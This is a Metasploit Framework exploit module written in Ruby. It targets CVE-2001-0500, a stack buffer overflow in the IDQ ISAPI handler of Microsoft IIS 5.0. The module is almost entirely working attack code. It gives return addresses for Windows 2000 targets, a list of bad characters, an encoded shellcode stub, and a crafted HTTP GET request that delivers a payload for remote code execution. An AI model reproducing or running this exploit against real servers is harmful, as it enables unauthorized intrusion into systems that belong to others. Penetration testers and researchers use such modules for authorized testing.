Microsoft IIS 5.0 IDQ Path Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS 5.0 IDQ Path Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the IDQ ISAPI handler for  
Microsoft Index Server.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2001-0500'],  
[ 'OSVDB', '568'],  
[ 'MSB', 'MS01-033'],  
[ 'BID', '2880'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 Pro English SP0', { 'Ret' => '0x6e8f3e24' } ],  
[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],  
],  
'DisclosureDate' => 'June 18 2001',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(80)], self.class)  
  
end  
  
def exploit  
connect  
  
sploit = rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)  
sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]   
sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="   
sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)  
  
uri = '/' + sploit + payload.encoded   
  
res = "GET #{uri}\r\n\r\n"  
  
print_status("Trying target #{target.name}...")  
  
sock.put(res)  
  
handler  
disconnect  
end  
  
end  
`